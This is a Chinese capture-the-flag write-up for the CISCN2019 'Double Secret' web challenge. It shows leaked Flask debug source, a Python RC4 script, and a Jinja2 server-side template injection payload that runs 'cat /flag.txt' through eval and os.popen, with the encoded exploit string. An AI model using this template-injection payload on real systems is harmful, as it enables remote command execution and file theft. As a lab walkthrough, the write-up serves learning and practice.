[CISCN2019 华东南赛区]Double Secret
f12查看源码发现什么东西也没有
dirsearch扫描发下了robots.txt
访问robots.txt告诉我们这是一个安卓的ctf,对我来说没什么用处
试一下给url传secret
页面一直在强调secret,试一下给secret赋值
发现有回显,并且传入的值不同,回显也会随着改变,当传入的值非常的大的时候页面就报错了,但是在报错页面发现了有用的东西:
File "/app/app.py", line 35, in secret
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)
a=render_template_string(safe(deS))
Open an interactive python shell in this frame if 'ciscn' in a.lower()
return 'flag detected!'
return a
可以看到这是RC4加密,并且密钥为HereIsTreasure,脚本小子出击:
import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_excrypt(plain, box):
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
print("%s" %quote(cipher))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{lipsum.__globals__.__builtins__.eval(\"__import__('os').popen('cat /flag.txt').read()\")}}")
.%14U%5C%C2%BA%14%1Ec%25%C2%A2%C3%A7%14%C2%B2%C2%BD%C3%B4%C2%A98%C2%80k%0B%C3%B9m%C3%9Fp%1F%C2%984%C2%9D%5B%C3%82%21%C3%98%12%C3%85H%C3%80%09%C3%BD%60%C2%A6D%C3%A5%C2%84%C3%AF%7D%01%C2%AF%0E%C2%9A%C2%82%0E%2Bm%C3%B8m%25%C3%99/G%C3%94%C2%BCDY%C2%B2%C2%97%18%C2%AE%09uB%3B%C3%A8H%C2%95-%C3%B8h%C3%94%21%17%2C3D%C2%8B%C2%9E%12%C3%BA%C3%BF%C2%BB%C3%9A
直接传入到secret中即得flag